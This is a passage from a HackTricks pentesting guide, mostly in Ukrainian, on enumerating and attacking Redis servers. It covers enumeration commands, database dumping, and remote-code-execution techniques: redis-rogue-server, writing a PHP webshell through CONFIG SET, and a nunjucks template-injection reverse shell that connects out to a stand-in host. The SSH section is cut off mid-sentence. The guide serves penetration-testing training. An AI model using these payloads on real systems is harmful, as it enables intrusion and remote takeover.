# 6379 - Pentesting Redis {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** πŸ’¬ [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters! **Hacking Insights**\ Engage with content that delves into the thrill and challenges of hacking **Real-Time Hack News**\ Keep up-to-date with fast-paced hacking world through real-time news and insights **Latest Announcements**\ Stay informed with the newest bug bounties launching and crucial platform updates **Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today! ## Основна інформація Π— [Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†Ρ–Ρ—](https://redis.io/topics/introduction): Redis - Ρ†Π΅ Π²Ρ–Π΄ΠΊΡ€ΠΈΡ‚ΠΈΠΉ ΠΊΠΎΠ΄ (ліцСнзія BSD), сховищС **структур Π΄Π°Π½ΠΈΡ…** Π² ΠΏΠ°ΠΌ'яті, якС Π²ΠΈΠΊΠΎΡ€ΠΈΡΡ‚ΠΎΠ²ΡƒΡ”Ρ‚ΡŒΡΡ як **Π±Π°Π·Π° Π΄Π°Π½ΠΈΡ…**, кСш Ρ– Π±Ρ€ΠΎΠΊΠ΅Ρ€ ΠΏΠΎΠ²Ρ–Π΄ΠΎΠΌΠ»Π΅Π½ΡŒ. Π—Π° замовчуванням Redis використовує ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ» Π½Π° основі простого тСксту, Π°Π»Π΅ Π²ΠΈ ΠΏΠΎΠ²ΠΈΠ½Π½Ρ– ΠΏΠ°ΠΌ'ятати, Ρ‰ΠΎ Π²Ρ–Π½ Ρ‚Π°ΠΊΠΎΠΆ ΠΌΠΎΠΆΠ΅ Ρ€Π΅Π°Π»Ρ–Π·ΡƒΠ²Π°Ρ‚ΠΈ **ssl/tls**. ДізнайтСся, як [запустити Redis Π· ssl/tls Ρ‚ΡƒΡ‚](https://fossies.org/linux/redis/TLS.md). **ΠŸΠΎΡ€Ρ‚ Π·Π° замовчуванням:** 6379 ``` PORT STATE SERVICE VERSION 6379/tcp open redis Redis key-value store 4.0.9 ``` ## АвтоматичнС пСрСрахування ДСякі Π°Π²Ρ‚ΠΎΠΌΠ°Ρ‚ΠΈΠ·ΠΎΠ²Π°Π½Ρ– інструмСнти, які ΠΌΠΎΠΆΡƒΡ‚ΡŒ Π΄ΠΎΠΏΠΎΠΌΠΎΠ³Ρ‚ΠΈ ΠΎΡ‚Ρ€ΠΈΠΌΠ°Ρ‚ΠΈ Ρ–Π½Ρ„ΠΎΡ€ΠΌΠ°Ρ†Ρ–ΡŽ Π· СкзСмпляра redis: ```bash nmap --script redis-info -sV -p 6379 msf> use auxiliary/scanner/redis/redis_server ``` ## Manual Enumeration ### Banner Redis Ρ” **тСкстовим ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»ΠΎΠΌ**, Π²ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ просто **надіслати ΠΊΠΎΠΌΠ°Π½Π΄Ρƒ Π² сокСт** Ρ– ΠΏΠΎΠ²Π΅Ρ€Π½ΡƒΡ‚Ρ– значСння Π±ΡƒΠ΄ΡƒΡ‚ΡŒ Ρ‡ΠΈΡ‚Π°Π±Π΅Π»ΡŒΠ½ΠΈΠΌΠΈ. Π’Π°ΠΊΠΎΠΆ ΠΏΠ°ΠΌ'ятайтС, Ρ‰ΠΎ Redis ΠΌΠΎΠΆΠ΅ ΠΏΡ€Π°Ρ†ΡŽΠ²Π°Ρ‚ΠΈ Π· використанням **ssl/tls** (Π°Π»Π΅ Ρ†Π΅ Π΄ΡƒΠΆΠ΅ Π΄ΠΈΠ²Π½ΠΎ). Π£ Π·Π²ΠΈΡ‡Π°ΠΉΠ½ΠΎΠΌΡƒ СкзСмплярі Redis Π²ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ просто ΠΏΡ–Π΄ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΠΈΡΡ Π·Π° допомогою `nc` Π°Π±ΠΎ Π²ΠΈ Ρ‚Π°ΠΊΠΎΠΆ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ використовувати `redis-cli`: ```bash nc -vn 10.10.10.10 6379 redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools ``` ΠŸΠ΅Ρ€ΡˆΠΎΡŽ командою, яку Π²ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ спробувати, Ρ” **`info`**. Π’ΠΎΠ½Π° **ΠΌΠΎΠΆΠ΅ ΠΏΠΎΠ²Π΅Ρ€Π½ΡƒΡ‚ΠΈ Π²ΠΈΡ…Ρ–Π΄ Π· Ρ–Π½Ρ„ΠΎΡ€ΠΌΠ°Ρ†Ρ–Ρ”ΡŽ** ΠΏΡ€ΠΎ СкзСмпляр Redis **Π°Π±ΠΎ Ρ‰ΠΎΡΡŒ** ΠΏΠΎΠ΄Ρ–Π±Π½Π΅ Π΄ΠΎ наступного: ``` -NOAUTH Authentication required. ``` Π£ Ρ†ΡŒΠΎΠΌΡƒ ΠΎΡΡ‚Π°Π½Π½ΡŒΠΎΠΌΡƒ Π²ΠΈΠΏΠ°Π΄ΠΊΡƒ Ρ†Π΅ ΠΎΠ·Π½Π°Ρ‡Π°Ρ”, Ρ‰ΠΎ **Π²Π°ΠΌ ΠΏΠΎΡ‚Ρ€Ρ–Π±Π½Ρ– дійсні ΠΎΠ±Π»Ρ–ΠΊΠΎΠ²Ρ– Π΄Π°Π½Ρ–** для доступу Π΄ΠΎ СкзСмпляра Redis. ### АутСнтифікація Redis **Π—Π° замовчуванням** Redis ΠΌΠΎΠΆΠ½Π° ΠΎΡ‚Ρ€ΠΈΠΌΠ°Ρ‚ΠΈ доступ **Π±Π΅Π· ΠΎΠ±Π»Ρ–ΠΊΠΎΠ²ΠΈΡ… Π΄Π°Π½ΠΈΡ…**. Однак ΠΉΠΎΠ³ΠΎ ΠΌΠΎΠΆΠ½Π° **Π½Π°Π»Π°ΡˆΡ‚ΡƒΠ²Π°Ρ‚ΠΈ** Π½Π° ΠΏΡ–Π΄Ρ‚Ρ€ΠΈΠΌΠΊΡƒ **Ρ‚Ρ–Π»ΡŒΠΊΠΈ пароля Π°Π±ΠΎ Ρ–ΠΌΠ΅Π½Ρ– користувача + пароля**.\ МоТна **встановити ΠΏΠ°Ρ€ΠΎΠ»ΡŒ** Ρƒ Ρ„Π°ΠΉΠ»Ρ– _**redis.conf**_ Π·Π° допомогою ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π° `requirepass` **Π°Π±ΠΎ тимчасово** Π΄ΠΎ пСрСзапуску слуТби, ΠΏΡ–Π΄ΠΊΠ»ΡŽΡ‡ΠΈΠ²ΡˆΠΈΡΡŒ Π΄ΠΎ Π½Π΅Ρ— Ρ‚Π° виконавши: `config set requirepass p@ss$12E45`.\ Π’Π°ΠΊΠΎΠΆ ΠΌΠΎΠΆΠ½Π° Π½Π°Π»Π°ΡˆΡ‚ΡƒΠ²Π°Ρ‚ΠΈ **Ρ–ΠΌ'я користувача** Π² ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ– `masteruser` всСрСдині Ρ„Π°ΠΉΠ»Ρƒ _**redis.conf**_. {% hint style="info" %} Π―ΠΊΡ‰ΠΎ Π½Π°Π»Π°ΡˆΡ‚ΠΎΠ²Π°Π½ΠΎ лишС ΠΏΠ°Ρ€ΠΎΠ»ΡŒ, Ρ‚ΠΎ Π²ΠΈΠΊΠΎΡ€ΠΈΡΡ‚ΠΎΠ²ΡƒΡ”Ρ‚ΡŒΡΡ Ρ–ΠΌ'я користувача "**default**".\ Π’Π°ΠΊΠΎΠΆ Π·Π²Π΅Ρ€Π½Ρ–Ρ‚ΡŒ ΡƒΠ²Π°Π³Ρƒ, Ρ‰ΠΎ **Π½Π΅ΠΌΠ°Ρ” способу дізнатися Π·ΠΎΠ²Π½Ρ–**, Ρ‡ΠΈ Π±ΡƒΠ² Redis Π½Π°Π»Π°ΡˆΡ‚ΠΎΠ²Π°Π½ΠΈΠΉ лишС Π· ΠΏΠ°Ρ€ΠΎΠ»Π΅ΠΌ Π°Π±ΠΎ Π· Ρ–ΠΌ'ям користувача + ΠΏΠ°Ρ€ΠΎΠ»Π΅ΠΌ. {% endhint %} Π£ Ρ‚Π°ΠΊΠΈΡ… Π²ΠΈΠΏΠ°Π΄ΠΊΠ°Ρ… Π²Π°ΠΌ **ΠΏΠΎΡ‚Ρ€Ρ–Π±Π½ΠΎ Π·Π½Π°ΠΉΡ‚ΠΈ дійсні ΠΎΠ±Π»Ρ–ΠΊΠΎΠ²Ρ– Π΄Π°Π½Ρ–** для Π²Π·Π°Ρ”ΠΌΠΎΠ΄Ρ–Ρ— Π· Redis, Ρ‚ΠΎΠΌΡƒ Π²ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ спробувати [**brute-force**](../generic-methodologies-and-resources/brute-force.md#redis).\ **Π£ Ρ€Π°Π·Ρ–, якщо Π²ΠΈ знайшли дійсні ΠΎΠ±Π»Ρ–ΠΊΠΎΠ²Ρ– Π΄Π°Π½Ρ–, Π²Π°ΠΌ ΠΏΠΎΡ‚Ρ€Ρ–Π±Π½ΠΎ Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„Ρ–ΠΊΡƒΠ²Π°Ρ‚ΠΈ ΡΠ΅ΡΡ–ΡŽ** після встановлСння Π·'єднання Π·Π° допомогою ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ: ```bash AUTH ``` **Дійсні ΠΎΠ±Π»Ρ–ΠΊΠΎΠ²Ρ– Π΄Π°Π½Ρ–** Π±ΡƒΠ΄ΡƒΡ‚ΡŒ ΠΏΡ–Π΄Ρ‚Π²Π΅Ρ€Π΄ΠΆΠ΅Π½Ρ–: `+OK` ### **АутСнтифікована СнумСрація** Π―ΠΊΡ‰ΠΎ сСрвСр Redis дозволяє **Π°Π½ΠΎΠ½Ρ–ΠΌΠ½Ρ– Π·'єднання** Π°Π±ΠΎ якщо Π²ΠΈ ΠΎΡ‚Ρ€ΠΈΠΌΠ°Π»ΠΈ дійсні ΠΎΠ±Π»Ρ–ΠΊΠΎΠ²Ρ– Π΄Π°Π½Ρ–, Π²ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Ρ€ΠΎΠ·ΠΏΠΎΡ‡Π°Ρ‚ΠΈ процСс Π΅Π½ΡƒΠΌΠ΅Ρ€Π°Ρ†Ρ–Ρ— для слуТби, Π²ΠΈΠΊΠΎΡ€ΠΈΡΡ‚ΠΎΠ²ΡƒΡŽΡ‡ΠΈ наступні **ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ**: ```bash INFO [ ... Redis response with info ... ] client list [ ... Redis response with connected clients ... ] CONFIG GET * [ ... Get config ... ] ``` **Π†Π½ΡˆΡ– ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ Redis** [**ΠΌΠΎΠΆΠ½Π° Π·Π½Π°ΠΉΡ‚ΠΈ Ρ‚ΡƒΡ‚**](https://redis.io/topics/data-types-intro) **Ρ–** [**Ρ‚ΡƒΡ‚**](https://lzone.de/cheat-sheet/Redis)**.** Π—Π²Π΅Ρ€Π½Ρ–Ρ‚ΡŒ ΡƒΠ²Π°Π³Ρƒ, Ρ‰ΠΎ **ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ Redis СкзСмпляра ΠΌΠΎΠΆΡƒΡ‚ΡŒ Π±ΡƒΡ‚ΠΈ ΠΏΠ΅Ρ€Π΅ΠΉΠΌΠ΅Π½ΠΎΠ²Π°Π½Ρ–** Π°Π±ΠΎ Π²ΠΈΠ΄Π°Π»Π΅Π½Ρ– Ρƒ Ρ„Π°ΠΉΠ»Ρ– _redis.conf_. Наприклад, Ρ†Π΅ΠΉ рядок Π²ΠΈΠ΄Π°Π»ΠΈΡ‚ΡŒ ΠΊΠΎΠΌΠ°Π½Π΄Ρƒ FLUSHDB: ``` rename-command FLUSHDB "" ``` Π‘Ρ–Π»ΡŒΡˆΠ΅ ΠΏΡ€ΠΎ Π±Π΅Π·ΠΏΠ΅Ρ‡Π½Ρƒ ΠΊΠΎΠ½Ρ„Ρ–Π³ΡƒΡ€Π°Ρ†Ρ–ΡŽ слуТби Redis Ρ‚ΡƒΡ‚: [https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04) Π’ΠΈ Ρ‚Π°ΠΊΠΎΠΆ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ **ΠΌΠΎΠ½Ρ–Ρ‚ΠΎΡ€ΠΈΡ‚ΠΈ Π² Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠΌΡƒ часі ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ Redis**, Π²ΠΈΠΊΠΎΠ½Π°Π½Ρ– Π·Π° допомогою ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ **`monitor`**, Π°Π±ΠΎ ΠΎΡ‚Ρ€ΠΈΠΌΠ°Ρ‚ΠΈ Ρ‚ΠΎΠΏ **25 Π½Π°ΠΉΠΏΠΎΠ²Ρ–Π»ΡŒΠ½Ρ–ΡˆΠΈΡ… Π·Π°ΠΏΠΈΡ‚Ρ–Π²** Π·Π° допомогою **`slowlog get 25`** Π—Π½Π°ΠΉΠ΄Ρ–Ρ‚ΡŒ Π±Ρ–Π»ΡŒΡˆΠ΅ Ρ†Ρ–ΠΊΠ°Π²ΠΎΡ— Ρ–Π½Ρ„ΠΎΡ€ΠΌΠ°Ρ†Ρ–Ρ— ΠΏΡ€ΠΎ Ρ–Π½ΡˆΡ– ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ Redis Ρ‚ΡƒΡ‚: [https://lzone.de/cheat-sheet/Redis](https://lzone.de/cheat-sheet/Redis) ### **ВивантаТСння Π±Π°Π·ΠΈ Π΄Π°Π½ΠΈΡ…** Π£ Redis **Π±Π°Π·ΠΈ Π΄Π°Π½ΠΈΡ… - Ρ†Π΅ числа, Ρ‰ΠΎ ΠΏΠΎΡ‡ΠΈΠ½Π°ΡŽΡ‚ΡŒΡΡ Π· 0**. Π’ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ дізнатися, Ρ‡ΠΈ Π²ΠΈΠΊΠΎΡ€ΠΈΡΡ‚ΠΎΠ²ΡƒΡ”Ρ‚ΡŒΡΡ якась Π· Π½ΠΈΡ…, Ρƒ Π²ΠΈΡ…ΠΎΠ΄Ρ– ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ `info` Ρƒ частині "Keyspace": ![](<../.gitbook/assets/image (766).png>) Або Π²ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ просто ΠΎΡ‚Ρ€ΠΈΠΌΠ°Ρ‚ΠΈ всі **keyspaces** (Π±Π°Π·ΠΈ Π΄Π°Π½ΠΈΡ…) Π·Π° допомогою: ``` INFO keyspace ``` Π£ Ρ†ΡŒΠΎΠΌΡƒ ΠΏΡ€ΠΈΠΊΠ»Π°Π΄Ρ– Π²ΠΈΠΊΠΎΡ€ΠΈΡΡ‚ΠΎΠ²ΡƒΡŽΡ‚ΡŒΡΡ **Π±Π°Π·ΠΈ Π΄Π°Π½ΠΈΡ… 0 Ρ‚Π° 1**. **Π‘Π°Π·Π° Π΄Π°Π½ΠΈΡ… 0 ΠΌΡ–ΡΡ‚ΠΈΡ‚ΡŒ 4 ΠΊΠ»ΡŽΡ‡Ρ–, Π° Π±Π°Π·Π° Π΄Π°Π½ΠΈΡ… 1 ΠΌΡ–ΡΡ‚ΠΈΡ‚ΡŒ 1**. Π—Π° замовчуванням Redis використовуватимС Π±Π°Π·Ρƒ Π΄Π°Π½ΠΈΡ… 0. Π©ΠΎΠ±, Π½Π°ΠΏΡ€ΠΈΠΊΠ»Π°Π΄, скинути Π±Π°Π·Ρƒ Π΄Π°Π½ΠΈΡ… 1, Π²Π°ΠΌ ΠΏΠΎΡ‚Ρ€Ρ–Π±Π½ΠΎ Π·Ρ€ΠΎΠ±ΠΈΡ‚ΠΈ: ```bash SELECT 1 [ ... Indicate the database ... ] KEYS * [ ... Get Keys ... ] GET [ ... Get Key ... ] ``` Π£ Π²ΠΈΠΏΠ°Π΄ΠΊΡƒ, якщо Π²ΠΈ ΠΎΡ‚Ρ€ΠΈΠΌΠ°Ρ”Ρ‚Π΅ наступну ΠΏΠΎΠΌΠΈΠ»ΠΊΡƒ `-WRONGTYPE Operation against a key holding the wrong kind of value` ΠΏΡ–Π΄ час виконання `GET `, Ρ†Π΅ ΠΌΠΎΠΆΠ΅ Π±ΡƒΡ‚ΠΈ Ρ‡Π΅Ρ€Π΅Π· Ρ‚Π΅, Ρ‰ΠΎ ΠΊΠ»ΡŽΡ‡ ΠΌΠΎΠΆΠ΅ Π±ΡƒΡ‚ΠΈ Ρ‡ΠΈΠΌΠΎΡΡŒ Ρ–Π½ΡˆΠΈΠΌ, Π½Ρ–ΠΆ рядок Π°Π±ΠΎ Ρ†Ρ–Π»Π΅ число, Ρ– Π²ΠΈΠΌΠ°Π³Π°Ρ” ΡΠΏΠ΅Ρ†Ρ–Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π° для ΠΉΠΎΠ³ΠΎ відобраТСння. Π©ΠΎΠ± дізнатися Ρ‚ΠΈΠΏ ΠΊΠ»ΡŽΡ‡Π°, використовуйтС ΠΊΠΎΠΌΠ°Π½Π΄Ρƒ `TYPE`, ΠΏΡ€ΠΈΠΊΠ»Π°Π΄ Π½ΠΈΠΆΡ‡Π΅ для спискових Ρ‚Π° Ρ…Π΅Ρˆ-ΠΊΠ»ΡŽΡ‡Ρ–Π². ```bash TYPE [ ... Type of the Key ... ] LRANGE 0 -1 [ ... Get list items ... ] HGET [ ... Get hash item ... ] # If the type used is weird you can always do: DUMP ``` **Π’ΠΈΠ²Π°Π½Ρ‚Π°ΠΆΡ‚Π΅ Π±Π°Π·Ρƒ Π΄Π°Π½ΠΈΡ… Π·Π° допомогою npm**[ **redis-dump**](https://www.npmjs.com/package/redis-dump) **Π°Π±ΠΎ python** [**redis-utils**](https://pypi.org/project/redis-utils/)
ΠŸΡ€ΠΈΡ”Π΄Π½ΡƒΠΉΡ‚Π΅ΡΡŒ Π΄ΠΎ [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) сСрвСра, Ρ‰ΠΎΠ± спілкуватися Π· досвідчСними Ρ…Π°ΠΊΠ΅Ρ€Π°ΠΌΠΈ Ρ‚Π° ΡˆΡƒΠΊΠ°Ρ‡Π°ΠΌΠΈ вразливостСй! **Інсайти Π· Ρ…Π°ΠΊΡ–Π½Π³Ρƒ**\ ЗалучайтСся Π΄ΠΎ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Ρƒ, який Π·Π°Π½ΡƒΡ€ΡŽΡ”Ρ‚ΡŒΡΡ Ρƒ захоплСння Ρ‚Π° Π²ΠΈΠΊΠ»ΠΈΠΊΠΈ Ρ…Π°ΠΊΡ–Π½Π³Ρƒ **Новини ΠΏΡ€ΠΎ Ρ…Π°ΠΊΡ–Π½Π³ Ρƒ Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠΌΡƒ часі**\ Π‘Π»Ρ–Π΄ΠΊΡƒΠΉΡ‚Π΅ Π·Π° швидкоплинним світом Ρ…Π°ΠΊΡ–Π½Π³Ρƒ Ρ‡Π΅Ρ€Π΅Π· Π½ΠΎΠ²ΠΈΠ½ΠΈ Ρ‚Π° інсайти Π² Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠΌΡƒ часі **ΠžΡΡ‚Π°Π½Π½Ρ– оголошСння**\ Π‘ΡƒΠ΄ΡŒΡ‚Π΅ Π² курсі Π½ΠΎΠ²ΠΈΡ… ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌ Π²ΠΈΠ½Π°Π³ΠΎΡ€ΠΎΠ΄ Π·Π° вразливості Ρ‚Π° Π²Π°ΠΆΠ»ΠΈΠ²ΠΈΡ… оновлСнь ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌ **ΠŸΡ€ΠΈΡ”Π΄Π½ΡƒΠΉΡ‚Π΅ΡΡŒ Π΄ΠΎ нас Π½Π°** [**Discord**](https://discord.com/invite/N3FrSbmwdy) Ρ– ΠΏΠΎΡ‡Π½Ρ–Ρ‚ΡŒ ΡΠΏΡ–Π²ΠΏΡ€Π°Ρ†ΡŽΠ²Π°Ρ‚ΠΈ Π· ΠΏΡ€ΠΎΠ²Ρ–Π΄Π½ΠΈΠΌΠΈ Ρ…Π°ΠΊΠ΅Ρ€Π°ΠΌΠΈ Π²ΠΆΠ΅ ΡΡŒΠΎΠ³ΠΎΠ΄Π½Ρ–! ## Redis RCE ### Π†Π½Ρ‚Π΅Ρ€Π°ΠΊΡ‚ΠΈΠ²Π½Π° ΠΎΠ±ΠΎΠ»ΠΎΠ½ΠΊΠ° [**redis-rogue-server**](https://github.com/n0b0dyCN/redis-rogue-server) ΠΌΠΎΠΆΠ΅ Π°Π²Ρ‚ΠΎΠΌΠ°Ρ‚ΠΈΡ‡Π½ΠΎ ΠΎΡ‚Ρ€ΠΈΠΌΠ°Ρ‚ΠΈ Ρ–Π½Ρ‚Π΅Ρ€Π°ΠΊΡ‚ΠΈΠ²Π½Ρƒ ΠΎΠ±ΠΎΠ»ΠΎΠ½ΠΊΡƒ Π°Π±ΠΎ Π·Π²ΠΎΡ€ΠΎΡ‚Π½Ρƒ ΠΎΠ±ΠΎΠ»ΠΎΠ½ΠΊΡƒ Π² Redis(<=5.0.5). ``` ./redis-rogue-server.py --rhost --lhost ``` ### PHP Webshell Інформація Π· [**Ρ‚ΡƒΡ‚**](https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html). Π’ΠΈ ΠΏΠΎΠ²ΠΈΠ½Π½Ρ– Π·Π½Π°Ρ‚ΠΈ **ΡˆΠ»ΡΡ…** Π΄ΠΎ **ΠΏΠ°ΠΏΠΊΠΈ Π²Π΅Π±-сайту**: ``` root@Urahara:~# redis-cli -h 10.85.0.52 10.85.0.52:6379> config set dir /usr/share/nginx/html OK 10.85.0.52:6379> config set dbfilename redis.php OK 10.85.0.52:6379> set test "" OK 10.85.0.52:6379> save OK ``` ​Якщо Π²ΠΈΠ½ΠΈΠΊΠ°Ρ” виняток доступу Π΄ΠΎ Π²Π΅Π±-ΠΎΠ±ΠΎΠ»ΠΎΠ½ΠΊΠΈ, Π²ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ очистити Π±Π°Π·Ρƒ Π΄Π°Π½ΠΈΡ… після Ρ€Π΅Π·Π΅Ρ€Π²Π½ΠΎΠ³ΠΎ ΠΊΠΎΠΏΡ–ΡŽΠ²Π°Π½Π½Ρ Ρ– спробувати Π·Π½ΠΎΠ²Ρƒ, Π½Π΅ Π·Π°Π±ΡƒΠ²Π°ΠΉΡ‚Π΅ Π²Ρ–Π΄Π½ΠΎΠ²ΠΈΡ‚ΠΈ Π±Π°Π·Ρƒ Π΄Π°Π½ΠΈΡ…. ### Π¨Π°Π±Π»ΠΎΠ½ Π²Π΅Π±-ΠΎΠ±ΠΎΠ»ΠΎΠ½ΠΊΠΈ Π―ΠΊ Ρ– Π² ΠΏΠΎΠΏΠ΅Ρ€Π΅Π΄Π½ΡŒΠΎΠΌΡƒ Ρ€ΠΎΠ·Π΄Ρ–Π»Ρ–, Π²ΠΈ Ρ‚Π°ΠΊΠΎΠΆ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ пСрСзаписати дСякий html шаблонний Ρ„Π°ΠΉΠ», який Π±ΡƒΠ΄Π΅ Ρ–Π½Ρ‚Π΅Ρ€ΠΏΡ€Π΅Ρ‚ΠΎΠ²Π°Π½ΠΎ шаблонним Π΄Π²ΠΈΠ³ΡƒΠ½ΠΎΠΌ, Ρ– ΠΎΡ‚Ρ€ΠΈΠΌΠ°Ρ‚ΠΈ ΠΎΠ±ΠΎΠ»ΠΎΠ½ΠΊΡƒ. Наприклад, ΡΠ»Ρ–Π΄ΡƒΡŽΡ‡ΠΈ [**Ρ†ΡŒΠΎΠΌΡƒ опису**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/), Π²ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠ±Π°Ρ‡ΠΈΡ‚ΠΈ, Ρ‰ΠΎ зловмисник вставив **rev shell Π² html**, Ρ–Π½Ρ‚Π΅Ρ€ΠΏΡ€Π΅Ρ‚ΠΎΠ²Π°Π½ΠΈΠΉ **Π΄Π²ΠΈΠ³ΡƒΠ½ΠΎΠΌ ΡˆΠ°Π±Π»ΠΎΠ½Ρ–Π² nunjucks:** ```javascript {{ ({}).constructor.constructor( "var net = global.process.mainModule.require('net'), cp = global.process.mainModule.require('child_process'), sh = cp.spawn('sh', []); var client = new net.Socket(); client.connect(1234, 'my-server.com', function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); });" )()}} ``` {% hint style="warning" %} Π—Π²Π΅Ρ€Π½Ρ–Ρ‚ΡŒ ΡƒΠ²Π°Π³Ρƒ, Ρ‰ΠΎ **Π΄Π΅ΠΊΡ–Π»ΡŒΠΊΠ° ΡˆΠ°Π±Π»ΠΎΠ½Π½ΠΈΡ… Π΄Π²ΠΈΠΆΠΊΡ–Π² ΠΊΠ΅ΡˆΡƒΡŽΡ‚ΡŒ** шаблони Π² **ΠΏΠ°ΠΌ'яті**, Ρ‚ΠΎΠΌΡƒ Π½Π°Π²Ρ–Ρ‚ΡŒ якщо Π²ΠΈ Ρ—Ρ… ΠΏΠ΅Ρ€Π΅Π·Π°ΠΏΠΈΡˆΠ΅Ρ‚Π΅, Π½ΠΎΠ²ΠΈΠΉ **Π½Π΅ Π±ΡƒΠ΄Π΅ Π²ΠΈΠΊΠΎΠ½Π°Π½ΠΈΠΉ**. Π£ Ρ‚Π°ΠΊΠΈΡ… Π²ΠΈΠΏΠ°Π΄ΠΊΠ°Ρ… Π°Π±ΠΎ Ρ€ΠΎΠ·Ρ€ΠΎΠ±Π½ΠΈΠΊ залишив Π°Π²Ρ‚ΠΎΠΌΠ°Ρ‚ΠΈΡ‡Π½Π΅ пСрСзавантаТСння Π°ΠΊΡ‚ΠΈΠ²Π½ΠΈΠΌ, Π°Π±ΠΎ Π²Π°ΠΌ ΠΏΠΎΡ‚Ρ€Ρ–Π±Π½ΠΎ Π·Ρ€ΠΎΠ±ΠΈΡ‚ΠΈ DoS Π½Π°Π΄ сСрвісом (Ρ– сподіватися, Ρ‰ΠΎ Π²Ρ–Π½ Π±ΡƒΠ΄Π΅ ΠΏΠ΅Ρ€Π΅Π·Π°ΠΏΡƒΡ‰Π΅Π½ΠΈΠΉ Π°Π²Ρ‚ΠΎΠΌΠ°Ρ‚ΠΈΡ‡Π½ΠΎ). {% endhint %} ### SSH ΠŸΡ€ΠΈΠΊΠ»Π°Π΄ [звідси](https://blog.adithyanak.com/oscp-preparation-guide/enumeration) Π‘ΡƒΠ΄ΡŒ ласка, Π·Π²Π΅Ρ€Π½Ρ–Ρ‚ΡŒ ΡƒΠ²Π°Π³Ρƒ, Ρ‰ΠΎ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ **`config get dir`** ΠΌΠΎΠΆΠ΅ змінитися після Ρ–Π½ΡˆΠΈΡ… Ρ€ΡƒΡ‡Π½ΠΈΡ… Сксплойт-ΠΊΠΎΠΌΠ°Π½Π΄. Π Π΅ΠΊΠΎΠΌΠ΅Π½Π΄ΡƒΡ”Ρ‚ΡŒΡΡ Π²ΠΈΠΊΠΎΠ½Π°Ρ‚ΠΈ ΠΉΠΎΠ³ΠΎ спочатку Π²Ρ–Π΄Ρ€Π°Π·Ρƒ після Π²Ρ…ΠΎΠ΄Ρƒ Π² Redis. Π£ Π²ΠΈΡ…ΠΎΠ΄Ρ– **`config get dir`** Π²ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π·Π½Π°ΠΉΡ‚ΠΈ **домашню** Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€Ρ–ΡŽ **користувача redis** (Π·Π°Π·Π²ΠΈΡ‡Π°ΠΉ _/var/lib/redis_ Π°Π±ΠΎ _/home/redis/.ssh_), Ρ– Π·Π½Π°ΡŽΡ‡ΠΈ Ρ†Π΅, Π²ΠΈ Π·Π½Π°Ρ”Ρ‚Π΅, ΠΊΡƒΠ΄ΠΈ ΠΌΠΎΠΆΠ½Π° записати Ρ„Π°ΠΉΠ» `authenticated_users` для доступу Ρ‡Π΅Ρ€Π΅Π· ssh **Π· користувачСм redis**. Π―ΠΊΡ‰ΠΎ Π²ΠΈ Π·Π½Π°Ρ”Ρ‚Π΅ домашню 